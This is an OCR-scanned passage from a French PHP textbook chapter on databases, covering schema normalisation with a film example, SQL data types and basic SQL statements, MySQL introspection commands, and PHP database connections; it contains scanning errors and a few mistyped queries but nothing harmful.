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Tableau 10.4 : 


Table de liaison Film-Acteur 


Filmld 


Acteurld 


1 


1 


1 


2 


2 


1 


2 


3 


Tableau 10.5 : 


Table Realisateur 


Realisateurld 


Realisateur 


1 


Robert Zemeckis 


2 


Steven Spielberg 


3 


Nora Ephron 


Tableau 10.6 : 


Table de liaison Film-Realisateur 


Filmld 


Realisateurld 


1 


1 


2 


2 


3 


3 



A premiere vue, cela est devenu plutot illisible et difficile a manipuler. Detrompez-vous ; les 
requetes SQL vous permettront d'acceder simplement aux donnees. La difficulte que peut 
presenter la saisie des donnees dans ces tables sera generalement masquee par une interface 
graphique. Mais, surtout, nous avons grandement gagne en liberte. II n'y a desormais plus de 
contraintes: II est possible d'indiquer autant de noms d'acteurs et de realisateurs que voulus par 
film. Aucun nom de film, d'acteur ou de realisateur n'est duplique (il sera done facile de les 
corriger si besoin). 

Et enfin, detail qui a toute son importance, une base de donnees ainsi structured occupera 
beaucoup moins de place que les premieres versions envisagees. En effet, si Ton considere une 
base de 65 535 films (ce qui est relativement peu pour une base de donnees) faisant intervenir 
au plus un total de 65 535 acteurs et realisateurs, alors les identifiants de film, acteur et 
realisateur pourront etre stockes sur 2 octets. Si Ton compte un realisateur et cinq acteurs 
precises par film, et si Ton suppose que les noms de film, d'acteur et de realisateur necessitent 
en moyenne 25 caracteres, alors : 

La taille de la table film est 65 535* (2 +25) = 1 769 445 octets. 

■ La taille de la table acteur est 65 535*(2+25) = 1 769 445 octets 

La taille de la table de liaison film-acteur est 65 535*5*(2+2) = 1 310 700 octets. 

■ La taille de la table realisateur est 65 535*(2+25) = 1 769 445 octets. 



Le langage SQL 



La taille de la table de liaison film-realisateur est 65 535*(2+2) = 262 140 octets. 
Soit un total de 6 881 175 octets = 6,56 Mo. 

Alors qu'avec la premiere version proposee, la base de donnees aurait eu une taille de 
65 535*5*(25+25+25) = 24 575 625 octets = 23,4 Mo. 



Cles primaires et compteurs 

L'identifiant unique d'un enregistrement dans une table est appele la cle primaire. C'est assez 
souvent un champ numerique (comme evoque dans 1'exemple precedent) portant comme nom 
"id" ou se terminant par "id" (ou encore "pk" comme "Primary Key"). La cle primaire peut 
toutefois etre un champ d'un autre type, ou encore etre un ensemble de champs. 

Dans le cas d'une cle primaire numerique du type de celle presentee dans 1'exemple precedent, 
il est fort interessant de pouvoir determiner quelle est la valeur suivante disponible. Pour cela, 
un certain nombre de serveurs de bases de donnees proposent un type particulier (ex. : serial 
pour PostgreSQL) ou "modificateur" de type (ex. : auto_increment pour MySQL) que Ton 
peut appeler "compteur" ou "type auto-incremente". Certains serveurs (ex. : Oracle) ne 
proposent pas ce type de facilite, mais il est alors possible d'obtenir le meme effet avec une 

SEQUENCE et un TRIGGER. 



Index 

Pour les champs sur lesquels de nombreuses recherches sont effectuees, il est generalement 
recommande d'associer un index. Cette operation est bien souvent implicitement appliquee sur 
les cles primaires, mais vous pourrez etre amene a vous poser la question de l'interet a l'utiliser 
pour un autre de vos champs. Nous ne nous etendrons pas sur ce sujet, mais sachez que ceci 
permet d'accelerer grandement les recherches (meme si cela entraine un delai supplementaire 
lors de l'ajout de donnees, et reclame quelques ressources disque et memoire 
supplementaires) . 



10.4. Le langage SQL 

II n'est pas dans notre intention de decrire, ici, l'ensemble des commandes SQL (il faudrait y 
consacrer un livre complet). Mais voici, tout de meme, les principales ; celles qui, 
probablement, repondront a 90 % de vos besoins. 

Si vous souhaitez tester immediatement ces commandes, vous devez au prealable consulter la 
documentation de votre base de donnees afin d'identifier et de lancer le logiciel client. Une fois 
que vous avez acces au client de votre base de donnees, vous pouvez saisir ces commandes, en 
n'omettant pas (generalement) de les faire suivre d'un point-virgule (indiquant ainsi au client, 
non pas que vous souhaitez aller a la ligne, mais que vous avez fini de saisir votre requete). 

II est a noter que certaines de ces operations necessitent des droits (privileges) particuliers ; 
vous ne serez done pas necessairement autorise a les realiser. 
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Creation/suppression d'une base de donnees 
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La creation d'une base de donnees n'est pas toujours realisable depuis le logiciel client de la 
base de donnees. Pour certaines bases, cette operation doit etre realisee a partir d'un 
executable fourni avec le serveur. 



CREATE DATABASE 

Cree une base de donnees. 

Syntaxe CREATE DATABASE nombase 

nombase Nom de la base de donnees a creer. 

La suppression de la base de donnees (attention aux fausses manipulations) se fait via la 
commande : 



DROP DATABASE 

Supprime une base de donnees. 

Syntaxe DROP DATABASE nombase 

nombase Nom de la base de donnees a supprimer. 

Les types 

Avant de passer a la suite, il est necessaire de vous presenter les differents types supportes par 
les bases de donnees. La encore, cela peut varier d'un serveur a l'autre, mais cela reste, dans les 
grandes lignes, sensiblement identique (nous nous sommes bases principalement sur les types 
MySQL). Certains types peuvent avoir des noms differents selon les serveurs. De ce fait, de 
nombreux serveurs acceptent plusieurs noms pour designer un meme type. 



Les types numeriques 



Tableau 10.7 : Les types numeriques entiers signes 



Type 


Valeur min. 


Valeur max. 


Taille en octets 


TINYINT 


-128 


127 


1 


SMALLINT 
INT2 


-32768 


32767 


2 


MEDIUMINT 


-8388608 


8388607 


3 



640 
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Type 


Valeur min. 


Valeur max. 


Taille en octets 


INT 


-2147483648 


2147483647 


4 


INT4 








INTEGER 








BIGINT 
INT 8 


-9223372036854775808 


9223372036854775807 


8 



II est egalement possible d'utiliser des types entiers non signes en completant le nom du type 
par unsigned. Cela permet d'atteindre une valeur maximale plus grande (lorsque les noms 
negatifs ne sont pas utilises). 



Tableau 10.8 : Les types numeriques entiers non signes 



Type 


Valeur min. 


Valeur max. 


Taille en octets 


TINYINT UNSIGNED 





255 


1 


SMALLINT UNSIGNED 
INT2 UNSIGNED 





65535 


2 


MEDIUMINT UNSIGNED 





16777215 


3 


INT UNSIGNED 
INT4 UNSIGNED 
INTEGER UNSIGNED 





2147483647 


4 


BIGINT UNSIGNED 
INT 8 UNSIGNED 





18446744073709551615 


8 



II est a noter que rares sont les bases de donnees qui proposent un type booleen. 



Tableau 10.9 : Les types numeriques decimaux 



Type 


Etendue 


Taille en octets 


FLOAT 


[-3.402823466E+38, -1 .1 75494351 E-38] 


4 


FLOAT4 


U {0} U 






[1 .1 75494351 E-38, 3.402823466E+38] 




DOUBLE 
DOUBLE 
PRECISION 
REAL 
FLOAT 8 


[-1 .7976931 3486231 57E + 308, 
-2.225073858507201 4E-308] 
U {0} U 

[2.225073858507201 4E-308, 
1.7976931 3486231 57E+308] 


8 



DECIMAL 



NUMERIC 
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Tableau 10.10 : Les types texte 



Type 




Taille en octet 


Description 


CHAR 




1 




CHARACTER (X) 
CHAR(X) 




Depend de X 


Chaine de taille fixe de X caracteres, ne 
pouvant depasser 255 caracteres. 


CHARACTER VARYING 
VARCHAR (X) 


IX) 


Variable 


Chaine de taille variable ne pouvant depasser 
X caracteres (X ne peut depasser 255). 


TINYBLOB 
TINYTEXT 




Variable 


Chaine de caracteres limitee a 255 
caracteres. 


BLOB 

TEXT (MySQL) 




Variable 


Chaine de caracteres limitee a 65 535 
caracteres. 


MEDIUMBLOB 
MEDIUMTEXT 




Variable 


Chaine de caracteres limitee a 16 777 215 
caracteres. 


LONGBLOB 
LONGTEXT 




Variable 


Chaine de caracteres limitee a 
4 294 967 295 caracteres. 


TEXT (PostgreSQL) 




Variable 


Chaine de caracteres sans limite. 


Les types date 








Tableau 10.11 : Les types dates 






Type 


Format 


Precision Taille en octets 


DATE 


AAAA- 


MM-JJ 


jour 


DATETIME 


AAAA- 


MM-JJ hh:mm:ss 


seconde 


TIMESTAMP (MySQL) 


AAAAMMJJHHMMSS 


seconde 


TIMESTAMP 






microseconde 


TIME (MySQL) 


HH:IW 




seconde 


TIME (PostgreSQL) 






microseconde 4 


TIME WITH TIME 
ZONE (PostgresSQL) 






microseconde 4 


YEAR (MySQL) 






annee 4 
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Creation/suppression d'une table 



II existe de nombreuses variantes, d'une base de donnees a l'autre, au niveau des options (qui ne 
seront done generalement pas precisees ici), mais les requetes elementaires restent les memes. 



Les champs de la table sont definis par une succession de sequences " nomchamp type 
[attributs de champ] " separees par des virgules eventuellement suivies par les attributs de 
la table. 

Un exemple tout simple de creation de table permettant de stocker un identifiant de film, un 
nom et une date de sortie donne : 

CREATE TABLE film (filmid INT2 UNSIGNED, film VARCHAR(64), datesortie DATE); 
Les attributs des champs peuvent etre : 

NOT NULL Pour indiquer que le champ ne peut pas etre non renseigne (NULL). 

NULL Pour preciser que le champ peut etre laisse non renseigne (NULL), 

(attribut par defaut). 

DEFAULT val eurpardef aut Pour preciser une valeur par defaut si le champ n'est pas renseigne (ou mis 

a NULL). 

PRIMARY KEY Pour indiquer qu'il s'agit d'une cle primaire. 

AUTCMNCREMENT (Uniquement valable pour MySQL). Pour preciser que, par defaut, ce 
champ doit prendre la valeur du dernier indice aff ecte + 1 . Ce champ doit 
etre une cle. 

Si Ton reprend notre exemple, il est evident que le nom du film ne doit pas etre laisse vide et 
que filmid est une cle primaire. 

CREATE TABLE film (filmid INT2 UNSIGNED PRIMARY KEY, 
film VARCHAR(64) NOT NULL, 
datesortie DATE); 

Comme nous l'avons egalement dit, il est souhaitable que le champ filmid soit 
auto-incremente ; la requete devrait etre, sous MySQL : 



CREATE TABLE 



Cree une table. 



Syntaxe 
nomtabl e 
champs 



CREATE TABLE nomtabl e (champs) 
Nom de la table a creer. 

Definition des champs de la table. (Voir ci-apres) 



CREATE TABLE film (filmid INT2 UNSIGNED PRIMARY KEY AUTOJNCREMENT, 
film VARCHAR(64) NOT NULL, 
datesortie DATE); 
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Les attributs de la table peuvent etre : 
PRIMARY KEY (champl, 

champ2, ...) Pour preciser une cle primaire sur plusieurs champs. 

INDEX [nomindex] 

(champl, champ2, ...) Pour preciser une cle sur plusieurs champs. Un index sera alors cree, avec la 
possibilite de preciser son nom avec nomindex. 

UNIQUE [INDEX] 
[nomindex] (champl, 

champ2, ...) Pour contraindre l'unicite de l'ensemble (champl, champ2, ..) dans la 

table. 

Certaines bases utilisent le mot-cle key au lieu de index (avec la meme syntaxe). 

Poursuivons notre exemple. II n'est pas question de preciser plusieurs fois qu'un acteur donne 
a joue dans un film donne. Done, pour eviter les doublons, la definition de la table de liaison 
film-acteur pourra etre : 

CREATE TABLE film2acteur (filmid INT2 NOT NULL, 

acteurid INT2 NOT NULL, 
UNIQUE(filmid, acteurid)); 

Vous vous etes completement trompe ? Vous ne voulez plus de cette table ? Pas de probleme ! 
vous pouvez la supprimer avec l'instruction : 



DROP TABLE 

Suppression d'une table. 

Syntaxe DROP TABLE nomtable 

nomtabl e Nom de la table a supprimer (il est possible d'en preciser plusieurs separes 

par une virgule). 

Si, en revanche, vous souhaitez apporter une correction a une table existante, vous pouvez faire 
appel a : 



ALTER TABLE 

Modifie la structure d'une table existante. 

Syntaxe ALTER nomtable modification 

nomtable Nom de la table a modifier. 

modification Modification a apporter a la table (voir ci-apres). (II est possible 

d'apporter plusieurs modifications en les separant par une virgule). 
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Les modifications qui peuvent etre apportees sont : 

add [column] champ : pour ajouter un champ (en utilisant la meme syntaxe que pour 
create table). Le mot-cle column n'a pas d'impact et est generalement optionnel. II 
assure simplement la compatibilite avec les syntaxes d'autres serveurs de bases de donnees. 

add primary key (champl , champ2 , . . . ) : pour preciser une cle primaire (cf. create 
table). 

add index [nomindex] (champl, champ2 , . . . ) : pour ajouter un index (cf. CREATE 
table). 

add unique [nomindex] (champl, champ2 , ...) : pour ajouter une contrainte 
d'unicite (cf. create table). 

drop [column] nomchamp : pour supprimer le champ "nomchamp" . Le mot cle column 
n'a pas d'impact et est generalement optionnel. II assure simplement la compatibilite avec 
les syntaxes d'autres serveurs de bases de donnees. 

drop primary key : pour supprimer une definition de cle primaire. 

drop index nomindex : pour supprimer l'index "nomindex". 

rename [as I to] nomtable2 : pour renommer la table en "nomtable?'. 

Ainsi, si nous voulons egalement preciser la duree du film (en minutes), et mettre, par defaut, 
0, il est possible de reprendre la table creee precedemment pour faire : 

ALTER TABLE film ADD duree INT2 DEFAULT 



Ajouter des donnees 

Nous allons maintenant pouvoir entrer dans le vif du sujet. Ajouter des donnees, c'est tres 
simple. Pour cela, vous disposez de la commande : 



INSERT 

Ajoute un enregistrement dans une table. 

Syntaxe INSERT INTO nomtable [(champl, champ2, ...)] VALUES (valeurl, 

valeur2, ...) 

nomtable Nom de la table dans laquelle inserer les donnees du nouvel 

enregistrement. 

champl, champ2, Noms des champs que vous souhaitez preciser (les autres champs 
prendront leur valeur par defaut) . Si vous ne specif iez pas de liste de noms 
de champs, alors vous devrez preciser toutes les valeurs et dans l'ordre des 
champs. 

valeurl, valeur2, Valeurs des champs dans le meme ordre que precise par les noms des 
champs. Les chaines de caracteres et dates doivent etre specifiees entre 
apostrophes. Si la valeur contient une apostrophe, alors vous pouvez au 
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choix (et selon le serveur de bases de donnees) mettre deux apostrophes ou 
faire preceder l'apostrophe d'un anti-slash. 

Une variante consiste a ecrire INSERT INTO nomtable SET champl=valeurl, 
champ2=valeur2, .. 

Avec MySQL le mot-cle into est optionnel (mais ce n'est pas une raison pour l'omettre). 
Si Ton reprend une table creee par 

CREATE TABLE film (filmid INT2 UNSIGNED PRIMARY KEY, 
film VARCHAR(64) NOT NULL) 

il sera alors possible d'ajouter un enregistrement, soit avec la requete suivante : 

INSERT INTO film VALUES (1, 'Forrest Gump 1 ); 

soit en precisant les noms de tous les champs : 

INSERT INTO film (filmid, film) VALUES (1, 'Forrest Gump'); 
INSERT INTO film (film, filmid) VALUES ('Forrest Gump', 1); 

soit, notamment pour profiter du champ auto-incremente, avec : 

INSERT INTO film VALUES (NULL, 'Forrest Gump'); 
INSERT INTO film (film) VALUES ('Forrest Gump'); 

Si le nom du film contient une apostrophe, alors la requete aura Failure suivante : 

INSERT INTO film (film) VALUES ('La vie n"est pas un long fleuve tranquil le' ) ; 
INSERT INTO film (film) VALUES ('La vie n\'est pas un long fleuve tranquille'); 



Mettre a jour des donnees 

II est bien evidemment possible de modifier des donnees ; pour cela, vous disposez de la 
commande update. 



UPDATE 



Met a jour un ensemble d'enregistrements. 

Syntaxe UPDATE nomtable SET champl=valeurl[, champ2=val eur2] [WHERE 

condition] 

nomtabl e Nom de la table contenant les enregistrements a modifier, 

c h ampX Nom du champ dont on veut modifier la valeur. 

val eurX Nouvelle valeur pour le champ. 

condi ti on Criteres de selection des enregistrements devant etre modifies. 
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Si vous souhaitez apporter une modification sur l'ensemble de la table, vous pouvez lancer une 
requete du type : 

UPDATE film SET fi lm= 1 Forrest Gump'; 

Dans ce cas, tous les films de la base porteront le meme nom (ce n'est certainement pas ce que 
Ton veut, mais la requete aurait ete similaire si nous avions voulu reinitialiser un champ servant, 
par exemple, a compter le nombre de clics sur un lien). 

II existe de nombreux operateurs et fonctions pouvant etre utilises dans les expressions de 
conditions ou meme encore qui peuvent etre appliquees aux valeurs retournees. Meme si nous 
vous en presenterons quelques-uns au fil de ce chapitre, il vous est conseille de consulter la 
documentation de votre serveur de bases de donnees pour en avoir la liste exhaustive. 

La condition la plus rudimentaire est, bien evidemment, l'egalite. Ainsi, si vous avez fait une 
faute d'orthographe dans le nom du film ayant l'identifiant 1, vous pourrez executer la requete : 

UPDATE film SET fi lm= 1 Forrest Gump' WHERE filmid=l; 

Mais il est egalement possible, par exemple, de modifier les noms de tous les titres de films 
commencant par "F" (meme si, dans notre cas, cela n'a pas de sens), en utilisant l'instruction 
like et le joker % (equivalent du * dans la plupart des systemes d'exploitation, qui remplace un 
nombre quelconque de caracteres). 

UPDATE film SET fi lm= 1 Forrest Gump' WHERE film LIKE 'F%'; 

Le joker pour un caractere unique (equivalent du ? dans la plupart des systemes d'exploitation) 
est l'underscore Notez toutefois qu'il est possible de completer la requete pour utiliser 
d'autres caracteres comme joker. 



Supprimer des donnees 

Si vous souhaitez supprimer une donnee, faites appel a l'instruction delete. 



DELETE 

Supprime un ensemble d'enregistrements. 

Syntaxe DELETE FROM nomtable [WHERE condition] 

nomtabl e Nom de la table contenant les enregistrements a supprimer. 

condi ti on Criteres de selection des enregistrements devant etre modifies. 

Pour vider totalement la table film, vous n'aurez done qu'a saisir la requete suivante : 
DELETE FROM film; 

Si vous souhaitez supprimer les enregistrements pour lesquels le nom du film n'est pas 
renseigne (cela ne peut pas arriver si vous avec cree la table avec le champ film defini comme 
not null), vous devrez utiliser : 
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DELETE FROM film WHERE film IS NULL; 
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NULL est different de la chaine vide 

Attention, il ne faut pas confondre un champ non renseigne (represents par null) 
avec une chaine de caracteres vide (representee par deux apostrophes consecutives). 



I ™ Lire des donnees 



Maintenant que nous avons vu comment ajouter des enregistrements, nous allons voir 
comment y acceder en lecture. Pour cela nous disposons de l'instruction select, dont voici la 
syntaxe abregee : 



SELECT 



Retourne un ensemble d'enregistrements. 

Syntaxe SELECT [DI ST I NCT | ALL] champl, champ2, ... FROM tablel, 

table2, . . . [WHERE condition] 

DISTINCT Pour ne retourner que des valeurs differentes (pas de doublons). 

ALL Pour autoriser les doublons (valeur par def aut) . 

champl , champ2 , . . . Liste des champs a retourner. 

tabl el , tabl e2 Liste des tables impliquees dans la recherche. 

condi ti on Condition que doivent remplir les enregistrements. 

Pour avoir la liste de tous les noms des films connus de la base de donnees, vous n'aurez qu'a 
executer la requete : 

SELECT film FROM film; 

Si vous souhaitez egalement recuperer l'identifiant du film vous utiliserez alors plutot : 
SELECT filmid, film FROM film; 

ce qui revient a afficher tous les champs des films, et qui peut se faire de fagon plus generique 
avec : 

SELECT * FROM film; 

Si, par contre, vous ne souhaitez que le nom du film ayant pour identifiant la valeur 1, la requete 
devient : 

SELECT film FROM film WHERE filmid=l; 

Et, pour avoir la liste des films commencant par "F" : 
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SELECT film FROM film WHERE film LIKE 'F%'; 

Tout en continuant de nous interesser a cette syntaxe de base, nous allons legerement 
compliquer l'affaire afin de nous rapprocher d'une requete classique. Nous avons, en effet, vu 
qu'il etait souvent preferable de stocker les informations dans de multiples tables liees entre 
elles par des cles primaires. Mais nous ne savons pas encore comment mettre en oeuvre ces 
liens. Pour cela, il suffit d'utiliser la requete select sur plusieurs tables, et de preciser dans la 
clause where la condition du lien. 

Concretement si Ton a deux tables, l'une stockant des noms de villes et l'autre des noms de 
magasins ainsi qu'un identifiant de ville (ville ou se situe le magasin) crees avec les requetes 
suivantes : 

CREATE TABLE tableville (villeid INT4 PRIMARY KEY, ville VARCHAR(128) ) ; 
CREATE TABLE tabl emagasi n (magasin VARCHAR(128) , villeid INT4); 

la requete permettant de retourner les couples (magasin, ville) sera alors 

SELECT tablemagasin. magasin, tableville. ville FROM tablemagasin, tableville 
WHERE tabl emagasi n .vi 1 1 eid=tabl evi 1 1 e. vi 1 1 eid; 

Vous noterez au passage qu'il est possible de preciser a quelle table appartient le champ precise 
en utilisant la syntaxe "nomtable .nomchamp". II n'est cependant pas necessaire de preciser le 
nom de la table s'il n'y a pas de confusion possible, ce qui est vrai ici pour les champs "magasin" 
et "ville" mais pas pour le champ "villeid". La requete peut done egalement s'ecrire : 

SELECT magasin, ville FROM tablemagasin, tableville 

WHERE tabl emagasi n. vi 1 1 eid=tabl evi 1 1 e.vi 1 1 eid; 

Si Ton reprend l'exemple des films dans lesquels interviennent trois tables, et si nous nous 
interessons aux acteurs jouant dans ces films, cela donne : 

SELECT film, acteur FROM film, acteur, film2acteur 

WHERE film.filmid=film2acteur.filmid 
AND fi lm2acteur.acteurid; 

Puisque vous semblez avoir compris, nous allons encore augmenter la difficulte. II existe des cas 
ou des tables sont liees plusieurs fois a une autre. C'est le cas notamment si vous souhaitez creer 
un dossier dans lequel sont stockes des noms d'individus, des lieux de naissance et des lieux de 
residence. La, la table contenant les noms de villes sera liee a la table des individus aussi bien 
par l'information lieu de naissance que par le lieu de residence. II faut alors faire intervenir deux 
fois le nom de la table ville, ce qui de prime abord donne "... from individu, ville, ville 
Mais dans ce cas, il nous est impossible de distinguer les deux "instances" de la table ville. 
Pour pallier ce probleme, il suffit de faire appel a des alias selon la syntaxe "nomtable as 
autrenom". D'ou la requete : 

SELECT individu, vi 1 1 enai ssance.vi 1 1 e, vi 1 1 eresidence. vi 1 1 e 

FROM individu, ville AS vi 1 1 enai ssance, ville AS villeresidence 
WHERE i ndi vidu.vi 1 1 enai ssanceid=vi 1 1 enai ssance. vi 1 1 eid 
AND i ndi vidu.vi 1 1 eresidenceid=vi 1 1 eresi dence. vi 1 1 eid; 

Notez que les alias peuvent egalement etre utilises pour manipuler un nom de table plus court : 
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SELECT * FROM unnomdetabl etropl ong AS t, autretable WHERE t.id=autretable.id; 

Maintenant que nous avons deja bien progresse dans la connaissance de l'instruction select, 
voici d'autres options permettant, entre autres, de trier les donnees. 



SELECT 



Retourne un ensemble d'enregistrements. 

Syntaxe SELECT [DI ST I NCT | ALL] listechamp FROM listetable [WHERE 

condition] [GROUP BY 1 i stechampgb] [ORDER BY obchampl 
[DESC|ASC], obchamp2...] 

1 i stechamp Liste des champs a retourner. 

1 i stetabl e Liste des tables impliquees dans la recherche. 

condi ti on Condition que doivent remplir les enregistrements. 

GROUP BY Demande le regroupement des enregistrements. 

li stechampgb Liste des champs selon lesquels les resultats de la requete doivent etre 

groupes. 

ORDER BY Demande le tri des enregistrements. 

obchampl Premier champ devant servir de champ de tri. 

DESC Effectue un tri decroissant. 

ASC Effectue un tri croissant (ordre de tri par defaut). 

Pour obtenir un resultat trie selon un ou plusieurs champs, il faut done faire appel a 
l'instruction order by. 

Ainsi, 

SELECT film FROM film ORDER BY film; 

retourne la liste complete des films tries par ordre alphabetique ; 
SELECT film FROM film ORDER BY film DESC; 

retourne la liste complete dans 1'ordre alphabetique inverse (de Z a A) ; 

SELECT film, acteur FROM film, acteur, film2acteur 

WHERE film.filmid=film2acteur.filmid AND film2acteur.acteurid 
ORDER BY film, acteur; 

retourne la liste complete dans 1'ordre alphabetique des films et, pour chaque film, les acteurs 
sont classes par ordre alphabetique ; 

SELECT film, acteur FROM film, acteur, film2acteur 

WHERE film.filmid=film2acteur.filmid AND film2acteur.acteurid 
ORDER BY film DESC, acteur; 
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retourne la liste complete dans 1'ordre alphabetique inverse des films et, pour chaque film, les 
acteurs sont classes par ordre alphabetique. 

Comme nous l'avons evoque precedemment, il est possible d'appliquer des fonctions aux 
champs retournes, mais il est egalement possible de leur appliquer des fonctions d'agregation. 
II s'agit de fonctions s'operant sur un ensemble d'enregistrements comme count ( ) pour 
compter le nombre d'enregistrements retournes, sum ( ) pour calculer la somme des valeurs 
d'un champ, et bien d'autres. 

Ainsi, il est possible de determiner le nombre de films que contient la base de donnees avec 
SELECT COUNT (*) FROM film; 

Mais il est egalement possible d'obtenir le nombre d'acteurs par film. Dans ce cas, il faut 
preciser que Ton souhaite faire le calcul par film avec l'instruction group by : 

SELECT film, COUNT (acteur) FROM film, acteur, film2acteur 

WHERE film.filmid=film2acteur.filmid AND film2acteur.acteurid 
GROUP BY film; 



Recuperer des informations sur une base 

Les instructions permettant de recuperer des informations sur une base (telles que la liste de 
bases sur le serveur, le nom et la structure des tables) varient fortement d'une base a l'autre. 



MySQL 



SHOW DATABASES 

Retourne la liste des noms des bases sur le serveur de bases de donnees. 
Syntaxe SHOW DATABASES [LIKE nombase] 

LIKE nombase Retourne la liste des bases ayant un nom correspondant a la chaine 

nombase comportant des jokers % ou _. 



SHOW TABLES 

Retourne la liste des tables contenues dans la base. 

Syntaxe SHOW TABLES [FROM nombase] [LIKE nomtable] 

FROM nombase Retourne la liste des tables contenues dans la base nombase. Par defaut, 

ce sont les tables de la base actuellement connectee qui sont retournees. 

LIKE nomtable Retourne la liste des tables ayant un nom correspondant a la chaine 
nomtable comportant des jokers % et _. 
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SHOW COLUMNS 



Retourne la liste des champs contenus dans une table 

Syntaxe 

nomtabl e 
FROMnombase 



LIKE nomchamp 



SHOW COLUMNS FROM nomtabl e [FROM nombase] [LIKE nomchamp] 
Retourne la liste des champs de la table nomtable. 

Utilise la table nomtable de la base nombase. Par defaut, c'est la table de la 
base actuellement connectee qui est utilisee. 

Retourne la liste des champs ayant un nom correspondant a la chaine 
nomchamp comportant des jokers % et _. 



REMARQUE 



Describe 

II existe un equivalent a show columns from nomtable qui est describe 
nomtable. 



10. 5. Acceder a une base de donnees via PHP 
Introduction 

Dans le cas de l'utilisation d'une base de donnees via PHP, le client (on parle dans ce cas d'API) 
de la base de donnees est integre (principalement via des bibliotheques c) au serveur web. 
Chaque base de donnees ayant son propre client, les noms des fonctions PHP different d'une 
base de donnees a l'autre. C'est pourquoi nous allons, serveur de bases de donnees apres 
serveur de bases de donnees, decrire les fonctions qui leur sont propres. Nous vous invitons 
(apres avoir fini la lecture de ce chapitre) a aller directement aux chapitres correspondant aux 
bases que vous serez amene a utiliser. 



Principe general 

Quoi qu'il en soit, le principe d'utilisation d'une base de donnees avec PHP reste le meme d'une 
base a l'autre. 

La premiere operation consiste a se connecter a la base de donnees. Cette operation se realise 
en precisant 1'adresse du serveur de la base de donnees (incluant eventuellement le port de 
communication), le nom de la base de donnees et, probablement, un nom d'utilisateur et un 
mot de passe. 

Une fois connecte, vous recuperez un identifiant de session (une ressource) valable jusqu'a la 
deconnexion ou la fin d'execution du script en cours. Cet identifiant de session, qui, selon les 
cas, doit etre passe en parametre des fonctions appelees ou est implicitement utilise, vous 
permet alors d'executer des requetes SQL. 

Une fois la requete executee, vous recuperez un identifiant de resultat de requete (une 
ressource). Cet identifiant vous permet d'en lire le contenu (s'il s'agit d'une requete de type 
select), generalement ligne par ligne. 



Une fois toutes ces operations realisees, vous n'avez plus qu'a clore la connexion. 
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Connexion persistante 

Comme vous venez de le decouvrir, vous devrez ouvrir une connexion pour chaque script 
execute. II n'est pas question d'ouvrir une connexion lors de l'execution d'un script et de 
communiquer l'identifiant de connexion (ou meme l'identifiant de resultat) au script suivant 
(afin, par exemple, de lire les resultats de la requete lancee par le premier script). Cela ne 
fonctionnerait pas du tout. 

Meme si ceci n'est pas une grosse contrainte en terme de programmation, cela peut le devenir 
en terme de performance. Si vous etes confronte a un serveur de bases de donnees ayant un 
delai de connexion eleve, vous serez vite penalise. Pour pallier cet eventuel probleme, PHP 
propose d'etablir des connexions persistantes. 

Qu'est-ce qu'une connexion persistante ? Globalement, il s'agit d'une connexion ouvrant une 
session qui pourra etre utilisee par d'autres scripts que celui qui l'a initialised. Cependant, le 
comportement d'une connexion persistante n'est pas exactement celui auquel vous auriez pu 
penser de prime abord. 

En effet, si un utilisateur visite votre site dans lequel un script A ouvre une connexion 
persistante, il serait faux de penser que, necessairement, lorsque l'utilisateur visitera le script B, 
il utilisera le meme identifiant de session. 

Pour bien comprendre cela, il faut revenir sur le principe de fonctionnement d'un serveur web 
(en tout cas, celui du serveur Apache). Un serveur web, ce n'est ni plus ni moins qu'un ensemble 
de processus (par defaut initialement dix sur un serveur Apache, le nombre pouvant augmenter 
suivant la demande) qui attendent qu'on leur demande une page. Ainsi, lorsqu'un utilisateur 
demande a visualiser une page, c'est le premier processus disponible qui s'occupe de repondre 
a la demande de son client. Done, si l'utilisateur demande une page A, qui est en fait un script 
PHP ouvrant une connexion persistante, c'est ce premier processus qui va ouvrir et etre 
detenteur de la session. Lorsque ce meme utilisateur va demander une page B (un autre script 
PHP utilisant une connexion persistante), ce n'est pas necessairement le processus precedent 
(peut-etre est-il occupe avec un autre client) qui va repondre a la demande. Si ce nouveau 
processus n'a pas lui-meme deja eu 1'occasion d'ouvrir une connexion persistante, il devra alors 
en ouvrir une. Dans le cas contraire, il n'aura pas besoin d'ouvrir une nouvelle connexion, mais 
il proposera une session differente de celle qui avait ete ouverte avec le processus precedent. 

Ainsi done, si la connexion est bien persistante au niveau des processus du serveur, elle n'est pas 
pour autant veritablement maintenue tout au long du parcours d'un visiteur, puisqu'elle passe 
d'un visiteur a l'autre. 

II est a noter qu'a l'inverse des connexions classiques, les connexions persistantes ne peuvent 
etre closes. 



Le danger des connexions non persistantes 

Les connexions non persistantes sont censees etre automatiquement closes a la fin de 
l'execution d'un script. Mais, visiblement, il ne faut pas trop compter la- dessus. Sans 
que nous puissions veritablement I'affirmer, il semblerait que cela ne soit pas toujours 
vrai ( un bug au niveau du systeme charge de liberer les ressources ?) ou bien, plutot, 
que cela ne soit pas immediat. De la sorte, si, dans un script, vous omettez de clore 
une connexion, le nombre de sessions risque d'augmenter dramatiquement jusqu 'a ce 
que la base de donnees rejette toute connexion. Nous vous conseillons done de 
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^ n 'utiliserque des connexions persistantes, au moins dans cette configuration ; alors le 

REMARQUE n ombre de connexions reste limite par le nombre de processus du serveur web. 



Couches d'abstraction 

Comme les fonctionnalites proposees d'une base de donnees a l'autre sont assez similaires, des 
efforts sont faits pour creer des fonctions pouvant etre utilisees par le plus grand nombre de 
serveurs de bases de donnees possible. On parle alors de couche d'abstraction. 



ODBC 

A mi-chemin entre les deux, nous trouvons les serveurs de bases de donnees qui utilisent un 
protocole unifie, en l'occurrence ODBC. Pour l'ensemble de ces bases, vous pourrez utiliser les 
memes fonctions (celles qui commencent par odbc). 

10.6. Presentation de l'application d'exemple 

Pour l'ensemble des bases de donnees evoquees dans ce chapitre, la description des fonctions 
offertes par PHP sera completee par deux exemples. Le premier est un compteur de cliques. 
Cet exemple etant tres simple il sera decline dans chaque chapitre. Le second, quant a lui, est 
plus complet, il s'agit en effet d'une application de type bibliotheque/filmotheque/discotheque/ 
phototheque que nous appellerons "supertheque". Dans ce cas, nous vous presenterons ici le 
code commun et nous mettrons a profit les possibilites offertes par la programmation orientee 
objet (que nous vous avons fait decouvrir dans les premiers chapitres de ce livre) pour n'avoir 
par la suite qu'a recrire que quelques classes ou methodes afin de tenir compte de la specificite 
de la base de donnees etudiee. 

Ces exemples ont ete choisis parce qu'ils correspondent a des besoins frequemment rencontres 
dans la conception d'un site web, et qu'ils repondent a certaines problematiques parfois 
soulevees en d'autres circonstances. L'interet de ces scripts va done au-dela de la simple mise en 
oeuvre d'une base de donnees. 

